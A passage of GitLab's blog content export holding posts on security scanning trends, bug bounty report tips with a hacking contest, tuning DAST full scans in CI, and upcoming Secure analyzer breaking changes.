were:\n* [PKCS](https://en.wikipedia.org/wiki/Cipher) - Public Key Cryptography Standard\n* [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) Key\n* AWS API\n\nFor security reasons, secrets (such as keys, passwords, etc) should never be stored in the codebase. However, it is very convenient for developers to do this making it a common security anti-pattern. Secrets should be stored in a storage mechanism designed for security, such as [vault](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/).\n\n## DAST \n\n![DAST by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/dast_by_month.png \"DAST scanner trends\")\n\nThe percentage of projects finding vulnerabilities via dynamic scanning over the last year went from 7% to a high of 20% and then back down to 9%. After initial scanning and issue resolution, dynamic scanning tends to primarily only find low priority vulnerabilities unless the scanners are configured to authenticate the web applications and successfully spider the entire application. Security practitioners must periodically confirm the results as the configuration tends to stop working over time.\n\nGitLab can be configured to do [dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/).\n\n### By vulnerability\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829616\" data-url=\"https://flo.uri.sh/visualisation/3829616/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top vulnerabilities in this category were:\n* [X-frame-options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) header not set - allows a web application to be embedded inside another (malicious) web application.\n* [Reverse tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) - allows a page linked from the target page to be able to rewrite the page (such as to replace it with a phishing site)\n* Vulnerable JavaScript Library - see the dependent library section above.\n* [Cross-domain misconfiguration](https://www.zaproxy.org/docs/alerts/10098/) - web browser data loading may be possible, due to a Cross Origin Resource Sharing (CORS) misconfiguration on the webserver\n* PII (personally identifiable information) disclosure - security scanners have difficulty accurately determining if data is truly PII. The PII rules should be tuned per organization.\n* [CSP (content site protection) wildcard directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) - There is a lack of proper content site protection, potentially allowing for cross-site scripting and other similar attacks.\n* Application error disclosure - when attacker-accessible applications expose error messages, they give the attacker significant clues on how to attack the application. Allow these errors to be shown only in non-production environments.\n\n## Fuzzing\n\nFuzzing is a new feature [recently released by GitLab](/releases/2020/08/22/gitlab-13-3-released/). Fuzz testing can be configured in the [GitLab UI](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/).\n\nThe top vulnerabilities detected in this new feature include:\n* Heap-buffer-overflow on read\n* Index-out-of-bounds\n\n## Data sources\n\nThe trends report's underlying data is sourced from projects hosted on GitLab.com and does not include data from our self-managed customers. It is comprised of medium or higher severity vulnerabilities appearing in five or more projects that occurred between September 2019 and October 2020. All project-specific data was anonymized.\n\nRead more about security:\n\n* Container security [best practices](/blog/container-security-in-gitlab/)\n* A look at [Arctic Engine fuzz testing](/blog/arctic-engine-fuzz-testing-blog/)\n* How to [secure your cloud native apps](/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications/)\n\nThanks to [David DeSanto](https://gitlab.com/david), [Todd Stadelhofer](https://gitlab.com/tstadelhofer), [Nicole Schwartz](https://gitlab.com/NicoleSchwartz), [Nico Meisenzahl](https://twitter.com/nmeisenzahl), and [Sean Wright](https://twitter.com/SeanWrightSec) for the feedback on the blog content. \n\n[Pietro Jeng](https://unsplash.com/@pietrozj) on [Unsplash](https://unsplash.com)\n{: .note}\n",[14,1212],{"slug":4353,"featured":6,"template":677},"gitlab-latest-security-trends","content:en-us:blog:gitlab-latest-security-trends.yml","Gitlab Latest Security Trends","en-us/blog/gitlab-latest-security-trends.yml","en-us/blog/gitlab-latest-security-trends",{"_path":4359,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4360,"content":4366,"config":4371,"_id":4373,"_type":16,"title":4374,"_source":17,"_file":4375,"_stem":4376,"_extension":20},"/en-us/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest",{"title":4361,"description":4362,"ogTitle":4361,"ogDescription":4362,"noIndex":6,"ogImage":4363,"ogUrl":4364,"ogSiteName":767,"ogType":768,"canonicalUrls":4364,"schema":4365},"Our top tips for better bug bounty reports, plus a hacker contest!","Our AppSec team breaks down what makes a great bug bounty report. That advice comes just in time, as we're having another bug bounty contest.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671004/Blog/Hero%20Images/pexels-shawn-stutzman-1010496.jpg","https://about.gitlab.com/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our top tips for better bug bounty reports, plus a hacker contest!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-09-28\",\n      }",{"title":4361,"description":4362,"authors":4367,"heroImage":4363,"date":4368,"body":4369,"category":14,"tags":4370},[3178],"2020-09-28","\n\nWe recently wrote an article with tips on [how to build and run a successful bug bounty program](https://thenewstack.io/gitlabs-top-5-tips-for-running-a-bug-bounty-program/) in the hopes that the processes and practices we’ve built would help other organizations go from zero to sixty as quickly as possible.\n\nBut, the truth is, a bug bounty program will be a non-starter if you can't attract talented security hackers to join you. \n\nThe reporters in our program bring an immense depth and breadth of expertise and research, represented in the unique and innovative findings they deliver and the thoughtful reports they submit. \n\n🎉 **For these reasons and more, we’re excited to announce that we’re once again holding a community hacking contest! See more details below and we look forward to your contributions!** 🚀\n\nBut when we think about the reports that researchers submit to our program, questions come up. What makes a report stand out, makes it helpful, makes it...for lack of a better word...good? We asked two of our [Application Security](/topics/devsecops/) engineers, who work to triage, investigate and test within our bug bounty program, for their frank thoughts on bug bounty reports.\n\n## What makes for a better bug bounty report?\n\n---\n![Vitor Meireles De Sousa Headshot](https://about.gitlab.com/images/blogimages/vdesousa_bw_sm.png){: .small.left.wrap-text}\n### [Vitor Meireles De Sousa, senior security engineer, application security team](/company/team/#vdesousa)\n\n\nWe often see reports with an incomplete description of the initial setup, or ones missing the step-by-step instructions necessary to reproduce it. This often leads to multiple, potentially unnecessary, time-consuming exchanges with a reporter or our AppSec team exploring different settings attempting to reproduce the report (or trying to get as close as possible to reproducing it.) Screenshots or videos are a great way to document the issue and can help avoid situations like this.\n\nIn my mind, a good report is a combination of the following:\n\n* A thorough description of the configuration used and a detailed step-by-step to reproduce the issue – this significantly helps us in triaging the report as fast as possible with a minimum of questions regarding the requirements and how to exploit the vulnerability.\n* A properly rated severity and impact analysis – when triaging reports, we typically use the severity rating to prioritize one report over another. Frequently we see reports that are overrated in severity. I think it is really important to understand how our team applies severity. Becoming familiar with our [HackerOne policy](https://hackerone.com/gitlab) and particularly the ‘How severity is determined’ section can help reporters provide an accurate impact analysis and by extension, appropriate severity ratings.\n\n### What’s an example of a report that exemplifies these criteria?\n\nThis report, [“Injection of `http.\u003Curl>.*` git config settings leading to SSRF”](https://hackerone.com/reports/855276) from security researcher, [vakzz](https://hackerone.com/vakzz) has:\n\n* A comprehensive description of the issue\n* A detailed step-by-step with precise instructions on how to reproduce it\n* A clear impact analysis that justifies the severity of the report  \n\n**And remember, it doesn’t need to be a long report to be a good one.**\n\n---\n![Dominic Couture Headshot](https://about.gitlab.com/images/blogimages/dcouture_bw_sm.png){: .small.left.wrap-text}\n### [Dominic Couture, Senior Security Engineer, application security team](https://about.gitlab.com/company/team/#dcouture)\n\n\nI like to see the following things in a report:\n\n* A detailed description of how the vulnerability is triggered\n* Information outlining what happens when it is triggered –this helps us know if we’ve reproduced it correctly\n* Simple steps to reproduce the vulnerability\n* A description of the impact of the vulnerability\n\nTo take it a few steps forward, here’s what makes a *great* report:\n\n* Details about the specific code causing the vulnerability\n* Scripted (Bash, Ruby, etc.) reproduction steps if it makes sense for that bug\n* For complex bugs, a video can aid understanding, but this should not replace the written steps to reproduce\n\nI would also like to note that a vulnerability report is not like a write-up that you’d post on your blog. Including details about anything that isn’t directly related to the vulnerability itself are great for a “story” about how you found the bug, but they add noise to the report and should be left out (and saved for that blog post).\n\n### What’s an example of a report that exemplifies these criteria?\n\nThis report: [SSRF on project import via the remote_attachment_url on a Note](https://hackerone.com/reports/826361) (and really all reports by vakzz mentioned above) ticks all the boxes above and falls firmly in the great report category. Additionally, there’s good communication from the reporter throughout the process and that’s the optimal triage experience for us.\n\n## Celebrating great reports, and great reporters\n\nWe had so much fun recognizing you – the amazing hackers who contribute to our program – [last year](/blog/bugs-bounties-and-cherry-browns/) when we celebrated our one year anniversary of [taking our bug bounty program public](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) that we’re doing it again.\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-birthday-cake\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Two-year anniversary hacking contest \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center} \n\n**We are running a community hacking contest starting October 1 (4 am UTC) until November 30, 2020 (4 pm UTC).** Just find and report a bug to our [HackerOne bug bounty program](https://hackerone.com/gitlab) and you're entered to win. The top contributor in the following categories will receive a special reward:  \n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Collect the most reputation points from submissions to our program and win!\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Getting started with a new bug bounty program is difficult. This one goes out to all the new reporters out there.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Best written report.** See above. A well-written report goes a long way to demonstrate impact and to help us reproduce the problem efficiently and accurately.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** Sometimes reporters demonstrate true out-of-the-box thinking in their approach to finding bugs. We appreciate this creativity.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** At the end of the day, these high-risk, high-reward vulnerabilities are what we’re all looking for.\n{: #id-rocket} \n\n**The winners will be announced on Dec. 14, 2020 (that's a new date!) via a [GitLab blog](/blog/) post.** A contributor can win at most one category. Of course, regular bounties still apply to any of your findings.   \n\n*And, because everyone needs a laugh ... here's a joke that hints at a little something the winners will get:* \n\n{::options parse_block_html=\"true\" /}\n**Why does a keyboard work 24 hrs a day?**\n{: .text-center}\n\nBecause it has 2 shifts! Badum bum 🥁\n\nHappy hacking!\n\nCover image by [meo](https://www.pexels.com/@xespri?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/)\n{: .note}\n",[14,899],{"slug":4372,"featured":6,"template":677},"top-tips-for-better-bug-bounty-reports-and-a-hacker-contest","content:en-us:blog:top-tips-for-better-bug-bounty-reports-and-a-hacker-contest.yml","Top Tips For Better Bug Bounty Reports And A Hacker Contest","en-us/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest.yml","en-us/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest",{"_path":4378,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4379,"content":4385,"config":4390,"_id":4392,"_type":16,"title":4393,"_source":17,"_file":4394,"_stem":4395,"_extension":20},"/en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications",{"title":4380,"description":4381,"ogTitle":4380,"ogDescription":4381,"noIndex":6,"ogImage":4382,"ogUrl":4383,"ogSiteName":767,"ogType":768,"canonicalUrls":4383,"schema":4384},"How to configure DAST full scans for complex web applications","Keep your DAST job within timeout limits and fine-tune job configurations for better results","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679617/Blog/Hero%20Images/tuning-237454.jpg","https://about.gitlab.com/blog/how-to-configure-dast-full-scans-for-complex-web-applications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to configure DAST full scans for complex web applications\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2020-08-31\",\n      }",{"title":4380,"description":4381,"authors":4386,"heroImage":4382,"date":4387,"body":4388,"category":14,"tags":4389},[2342],"2020-08-31","\n\nShifting [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/) (DAST) left can help to detect security vulnerabilities earlier in the software development lifecycle (SDLC). However, testing earlier and more often in the SDLC comes with its own set of challenges: an abundance of alerts from automated security tools and a high computational cost caused by frequent and long-running CI security jobs.\n\nIn this blog post, I’ll walk you through how we configured DAST for the internal pipeline that tests the GitLab web application. We’ll discuss some of the common challenges that you might encounter when testing large applications, such as: \n\n1. How to keep the duration of the DAST scan within an acceptable [job timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout): This matters because jobs that exceed timeouts will fail and no results will be displayed. We will review how to optimize scan duration by excluding low-risk parts of the application from being tested, by correctly seeding your application with test data, and by parallelizing the DAST job.\n\n2. How to get relevant results for your context: This is key – tuning job configurations to produce relevant results allows your engineers to focus on findings that matter and prevents [alert fatigue](https://en.wikipedia.org/wiki/Alarm_fatigue). In this area, we'll discuss criteria for identifing rules that are applicable to your application and we will explain how to disable irrelevant rules.\n\nThe discussed solutions are based on the DAST configuration that we use to test GitLab itself. If you are looking for inspiration on how to configure your own DAST jobs, feel free to take a look at our [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/dast.gitlab-ci.yml).\n\n## How to set up a simple DAST full scan\n\nKicking off a DAST full scan in GitLab CI is as easy as including the job template and setting a few variables in your `.gitlab-ci.yml` file:\n\n```yaml\ninclude:\n  - template: DAST.gitlab-ci.yml\n\nvariables:\n  DAST_WEBSITE: \"https://my-site.example\"\n  DAST_FULL_SCAN_ENABLED: \"true\"\n  DAST_AUTH_URL: \"https://my-site.example/signin\"\n  DAST_AUTH_USERNAME: “john”\n  DAST_AUTH_PASSWORD: “P@ssw0rd”\n```\nThe variable `DAST_WEBSITE` defines the target website tested by DAST. Setting `DAST_FULL_SCAN_ENABLED: true` instructs DAST to run a [full scan](https://www.zaproxy.org/docs/docker/full-scan/), which is more comprehensive than a [baseline scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and potentially finds more vulnerabilities. There are also other config options that you likely want to define such as authentication-related options (`DAST_AUTH_*`) which are not discussed here. You can check out our DAST [user docs](https://docs.gitlab.com/ee/user/application_security/dast/#available-variables) for a refresher on these config options.\n\nWhen running a DAST full scan against a web application with many pages and input parameters, it is possible that the DAST job will not finish testing the application within the CI job timeout and fail. If this is the case for your DAST job, keep reading to learn about tweaking your job configuration to stay within the timeout.\n\n## How to optimize DAST scan duration\n\nIt is not uncommon that a DAST full scan can take 10 or more hours to complete testing in complex applications. To understand how we can reduce the scan duration, we need to take a closer look at how DAST works internally.\n\nDAST job execution is roughly separated into two phases: A spidering phase and a test execution phase. A DAST job starts with spidering, during which it will detect all pages a web application consists of and identify the input parameters on these pages. The spider recursively discovers all pages of an application by visiting the configured target URL (parameter `DAST_WEBSITE`) and by following all URLs found in the page source. These URLs are in turn also searched for URLs in their page source, any new URLs are followed and so on. In a DAST full scan, this procedure is typically repeated until all discovered URLs have been visited.\n\nIn the test execution phase, test rules are executed against the target application to find vulnerabilities. Most of the rules are executed for any of the discovered pages in the spidering phase, leading to a direct relation between the number of executed test cases and the number of discovered pages.\n\nSome rules check for specific CVEs such as [Heartbleed](https://www.zaproxy.org/docs/alerts/20015/) while others are only applicable to applications written in specific languages such as [Java](https://www.zaproxy.org/docs/alerts/90002/), [ASP.net](https://www.zaproxy.org/docs/alerts/10061/), and so on. A DAST full scan will, by default, execute all rules even if the target application’s tech stack is not affected by the vulnerability being tested for.\n\nTo summarize, you can use the following rule of thumb to estimate a DAST job’s scan duration: Number of Tested Pages **x** Number of Executed Rules. \n\nTo optimize scan duration, we will have to tweak these factors.\n\n### How to reduce the number of tested pages\n\nTo understand which pages of our application are tested we can refer to the job log. The URLs of all tested pages are listed like in the example below.\n\n```\n2020-08-01 00:25:34,454 The following 2903 URLs were scanned:\nGET https://gitlab-review.app\nGET https://gitlab-review.app/*/*.git\nGET https://gitlab-review.app/help\nGET https://gitlab.com/help/user/index.md\n...\n```\n\nBased on this information we can exclude low-risk pages from being tested. For example, for the GitLab web app we decided to [exclude](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/dast.gitlab-ci.yml#L30) any of the [help pages](https://gitlab.com/help). These pages are mostly static and the application code doesn’t process any user-controlled inputs, which rules out attack categories like SQL injection, XSS etc. Excluding these led to 899 URLs less being spidered and tested, reducing the scan duration significantly.\n\nTo exclude low-risk pages from being tested, you can use the environment variable [DAST_AUTH_EXCLUDE_URLS](https://docs.gitlab.com/ee/user/application_security/dast/#available-variables) as mapped out below:\n\n```yaml\nscript:\n  - 'export DAST_AUTH_EXCLUDE_URLS=\"https://gitlab-review.app/help/.*,https://gitlab-review.app/profile/two_factor_auth\"' \n```\n\n`DAST_AUTH_EXCLUDE_URLS` takes a comma-separated list of URLs to exclude. URLs can contain regular expressions, e.g. `https://gitlab-review.app/help/.*` will exclude any URL that starts with `https://gitlab-review.app/help/`.\n\n### How to populate your app with test data\n\nPopulating your application with test data is important because it allows DAST to discover and test all the functionality of your application. At the same time, you want to avoid adding redundant test data to your application, which would lead to DAST exercising the same code repeatedly.\n\nFor example, we can create multiple [projects](https://docs.gitlab.com/ee/user/project/) in a GitLab instance and each project will be accessible via a unique URL, e.g. `https://gitlab.example/awesome-project`, `https://gitlab.example/another-project`, etc. To DAST these look like unrelated pages and it will test each page separately. However, the application code that is processing requests to different projects is largely identical, leading to the same code being tested multiple times. This increases the scan duration and is unlikely to identify more vulnerabilities than testing only a single project would.\n\nIn every pipeline that runs DAST against GitLab, we spin up a fresh GitLab instance as a [review app](https://docs.gitlab.com/ee/ci/review_apps/) and populate it with the test data that we need for the DAST job. If you are looking for a similar solution, you might find the job that is [deploying the review app](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/review.gitlab-ci.yml#L53-83) and seeding it with [test data](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/review.gitlab-ci.yml#L83) interesting.\n\n### Identifying relevant rules for your DAST scan\n\nAs mentioned above, a DAST full scan runs, by default, all rules against any discovered page. Therefore, another way to reduce scan duration is to disable irrelevant rules or rules that you have determined are low-risk for your application context. To determine rule relevance, consider the following:\n\n- Does the rule apply to my web framework?\n- Does the rule apply to my web server?\n- Does the rule apply to my database server?\n- Does the type of vulnerability a rule tests for apply to my application?\n\nFor example, if your application is not built with Java, rules that test for [Java-specific vulnerabilities](https://www.zaproxy.org/docs/alerts/90002/) can be disabled. There are many rules that are specific to a web framework, server, or database being used like [Apache HTTP Server](https://www.zaproxy.org/docs/alerts/10053/), [ASP.NET](https://www.zaproxy.org/docs/alerts/10061/), [PostgreSQL](https://www.zaproxy.org/docs/alerts/40022/) etc. If in doubt around which rule(s) are applicable to which tech stack, you can find the information either in the [ZAP user docs](https://www.zaproxy.org/docs/alerts/) or directly in the [rule implementation](https://github.com/zaproxy/zap-extensions/blob/master/addOns/ascanrules/src/main/java/org/zaproxy/zap/extension/ascanrules/CodeInjectionScanRule.java#L86-L91):\n\n```java\npublic boolean targets(TechSet technologies) {\n    if (technologies.includes(Tech.ASP) || technologies.includes(Tech.PHP)) {\n        return true;\n    }\n    return false;\n}\n```\nNote: Most rules classes have a function `targets` that defines to which technologies a rule is applicable.\n\nAnother example of a rule that might not apply to your application is the [PII Disclosure](https://www.zaproxy.org/docs/alerts/10062/) rule if your application does not process any PII.\n\n### Excluding irrelevant rules\n\nThe execution time of individual rules varies substantially. To understand how much time a particular rule adds to the total scan duration and how much we could gain from disabling it, we turn again to the job log. Each rule prints its duration on completion, for example:\n\n```\n[zap.out] 3937350 [Thread-8] INFO org.parosproxy.paros.core.scanner.HostProcess - completed host/plugin https://gitlab-review.app | TestExternalRedirect in 2813.043s with 33151 message(s) sent and 0 alert\n```\n\nFrom this message we learn that rule `TestExternalRedirect` took 47 minutes to complete, hence disabling this rule reduces the scan duration by about 47 minutes.\n\nWe can disable individual rules with the environment variable `DAST_EXCLUDE_RULES`. Here is an example:\n\n```yaml\nvariables:\n  DAST_EXCLUDE_RULES=”41,42,43,10027,...,90019”\n```\n\n`DAST_EXCLUDE_RULES` takes a comma-separated list of rule ids. You can find the id of a particular rule in the summary printed to the job log:\n\n```\nPASS: External Redirect [20019]\n…\nSUMMARY - PASS: 106 | WARN: 2\n```\n\nWe can see from the log that rule External Redirect, which we found earlier to take 47 minutes, has rule id 20019. To disable this rule in addition to the rules from the previous example, we would need to add it to `DAST_EXCLUDE_RULES` like so: \n\n```yaml\nvariables:\n  DAST_EXCLUDE_RULES=”20019,41,42,43,10027,...,90019”\n```\n### Parallelizing DAST jobs to further reduce pipeline duration\n\nTo reduce the total duration of the pipeline that is running the DAST job, we can split up the rules that we want to execute into multiple DAST jobs and run the jobs in parallel. Below is an example that demonstrates how to split up the rules.\n\n```yaml\n# Any configuration that is shared between jobs goes here\n.dast-conf:\n  image:\n    name: \"registry.gitlab.com/gitlab-org/security-products/dast:1.22.1\"\n  services:\n  - name: \"gitlab/gitlab-ee:nightly\"\n    alias: gitlab\n  script:\n  - /analyze -t \"http://gitlab\"\n\n# First DAST job executing rules 6 to 10\ndast-1/2:\n  extends:\n  - .dast-conf\n  variables:\n    DAST_EXCLUDE_RULES: \"1,2,3,4,5\"\n\n# Second DAST job executing rules 1 to 5\ndast-2/2:\n  extends:\n  - .dast-conf\n  variables:\n    DAST_EXCLUDE_RULES: \"5,6,7,8,9\"\n```\n\nFor the sake of brevity, we assume in the example above that our DAST job runs rules with id 1 to 10. As described in the previous section, refer to the job log to find which rules were executed (we are working on printing a tidy [summary of executed rules](https://gitlab.com/gitlab-org/gitlab/-/issues/230893)). The example defines two DAST jobs `dast-1/2` and `dast-2/2`. `dast-1/2` is excluding rules 1 to 5 and, hence, executes rules 6 to 10. Vice versa, `dast-2/2` is excluding rules 6 to 10 and, hence, executes rules 1 to 5.\n\nFollowing the same pattern, you can split up the rules into as many jobs as necessary, keeping the rules executed in a job mutually exclusive with respect to all other jobs.\n\nNote that new releases of GitLab DAST may contain new rules, which will get executed if the rule ids are not manually added to `DAST_EXCLUDE_RULES`. In the example above, we pinned the version of the DAST image to a specific version using the `image` keyword. This allows us to review new releases manually and adjust `DAST_EXCLUDE_RULES` as necessary before upgrading to a new DAST version.\n\nWhen running multiple DAST jobs in parallel against the same target application, make sure that the application isn’t overloaded and becomes a bottleneck. If you observe connection timeouts in the DAST job logs, chances are your target site is overloaded. To mitigate this issue, consider spinning up additional instances of your target application and distribute the test load among the instances. GitLab CI offers, through the [`services`](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service) keyword, a convenient way of creating a dedicated application instance for each DAST job. In the example above, we start a dedicated GitLab instance for each DAST job with:\n\n```yaml\n  services:\n  - name: \"gitlab/gitlab-ee:nightly\"\n    alias: gitlab\n```\n## Summary\n\nIn this blog post, we walked you through common challenges encountered when testing complex web applications with DAST and solutions that worked well for our internal projects at GitLab. \n\nAs we continue and broaden our use of DAST full scans within GitLab and our Security department, we’re excited to identify vulnerabilities in GitLab earlier in the SDLC and look forward to sharing interesting findings with the community. In addition, we take our lessons learned from setting up DAST full scans back to our engineering team to continue improving user experience. We also plan to explore additional dynamic testing techniques such as [fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) to complement our DAST results.\n\nIs there a problem area that you’ve encountered or solution for fine-tuning DAST full scans we've missed that's worked well for you? We want to hear about it and would love your feedback below in the comments.\n\nCover image by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/blur-bowed-stringed-instrument-classic-classical-237454/)\n{: .note}\n",[14,1212,958],{"slug":4391,"featured":6,"template":677},"how-to-configure-dast-full-scans-for-complex-web-applications","content:en-us:blog:how-to-configure-dast-full-scans-for-complex-web-applications.yml","How To Configure Dast Full Scans For Complex Web Applications","en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications.yml","en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications",{"_path":4397,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4398,"content":4403,"config":4410,"_id":4412,"_type":16,"title":4413,"_source":17,"_file":4414,"_stem":4415,"_extension":20},"/en-us/blog/gitlab-com-13-4-breaking-changes",{"title":4399,"description":4400,"ogTitle":4399,"ogDescription":4400,"noIndex":6,"ogImage":3760,"ogUrl":4401,"ogSiteName":767,"ogType":768,"canonicalUrls":4401,"schema":4402},"Upcoming Breaking Changes to Secure Analyzers in GitLab 13.4","Our next release, 13.4, will include narrow breaking changes for our Secure scanning features. Find out how this could affect you and what you need to do.","https://about.gitlab.com/blog/gitlab-com-13-4-breaking-changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upcoming GitLab.com narrow breaking changes to Secure Analyzers in GitLab 13.4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2020-08-19\",\n      }",{"title":4404,"description":4400,"authors":4405,"heroImage":3760,"date":4407,"body":4408,"category":14,"tags":4409},"Upcoming GitLab.com narrow breaking changes to Secure Analyzers in GitLab 13.4",[4406],"Taylor McCaslin","2020-08-19","\n\nWe've spent the first few releases of GitLab 13 with several user-focused improvements to our Static [Application Security Testing (SAST)](/topics/devsecops/) capabilities: \n\n* We made our open-source based SAST analyzers free to use for every GitLab user on all tiers [covering 18 languages/frameworks](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks). \n* We released a new [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) scan type and a managed CI template. This also added new capabilities like [full history secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#full-history-secret-scan). \n\nWith these changes we've modernized and simplified the way our Security scans work, requiring the deprecation and removal of a few configuration options to improve the security, stability, and speed of our analyzers. \n\nWith these removals, there are a few changes that you should make to your Secure scan configurations to ensure you continue enjoying those capabilities. All of these removals were previously announced as deprecations in the past few release blog posts.  \n\n**These changes will release to GitLab.com as early as August 27th and will be released to self-managed customers with GitLab 13.4 on September 22.** If you have questions or feedback, you can [let us know in this feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235816).\n\n\n## Removal of Secret Detection Job in SAST CI Template (High Impact)\n\nSince [GitLab 13.1](/releases/2020/06/22/gitlab-13-1-released/#deprecation-of-secret-detection-job-in-sast-configuration), the [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) CI/CD configuration settings moved to a separate GitLab-provided template and run as a new Secure scan type. This new Secret Detection template is also now [included in Auto DevOps](https://docs.gitlab.com/ee/user/application_security/#security-scanning-with-auto-devops). \n\nIn 13.4 we will remove the [old SAST `secrets-sast` job definition](https://gitlab.com/gitlab-org/gitlab/-/blob/67e235bd5826c160db47bbb8c0dc87e6b9cd7b43/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml#L171) and if you have not switched to the [new Secret Detection template](https://docs.gitlab.com/ee/user/application_security/secret_detection/#configuration) you will not continue to scan for secrets. You can easily transition by adding the new template.\n\nBefore upgrading to GitLab 13.4 we recommend you [add the new Secret Detection template](https://docs.gitlab.com/ee/user/application_security/secret_detection/#configuration) to your `gitlab-ci.yml` file, and then remove the [old SAST `secrets-sast` job definition](https://gitlab.com/gitlab-org/gitlab/-/blob/67e235bd5826c160db47bbb8c0dc87e6b9cd7b43/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml#L171) from the [SAST configuration template](https://docs.gitlab.com/ee/user/application_security/sast/#configuration) in `SAST.gitlab-ci.yml` file. We have made a [video to guide you through the process of transitioning](https://www.youtube.com/watch?v=W2tjcQreDwQ&feature=emb_title) to this new template. \n\n- You can follow [this implementation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/234011) for further details.\n- [Initial deprecation announced in 13.1 (6/22)](/releases/2020/06/22/gitlab-13-1-released/#deprecation-of-secret-detection-job-in-sast-configuration)\n\n\n## Removal of DinD (Medium impact)\n\nTo increase the security and reduce complexity of scans, use of Docker-in-Docker (DinD) in GitLab Secure scanners was [deprecated in 13.0](/releases/2020/05/22/gitlab-13-0-released/#deprecation-of-docker-in-docker-(dind)-for-security-scanners) and is **scheduled for removal in 13.4**. GitLab security products started to use non-DinD mode by default in vendor templates in GitLab 13.0. We encourage customers to update their vendor CI templates to use this new behavior. If you override or use custom [Secure CI templates](https://gitlab.com/gitlab-org/gitlab-foss/-/tree/master/lib/gitlab/ci/templates/Security), you can follow the guides below to disable Docker in Docker (DinD) from your existing job templates: \n \n* [Disabling Docker in Docker for Dependency Scanning (12.10 Documentation)](https://docs.gitlab.com/12.10/ee/user/application_security/dependency_scanning/index.html#disabling-docker-in-docker-for-dependency-scanning)\n* 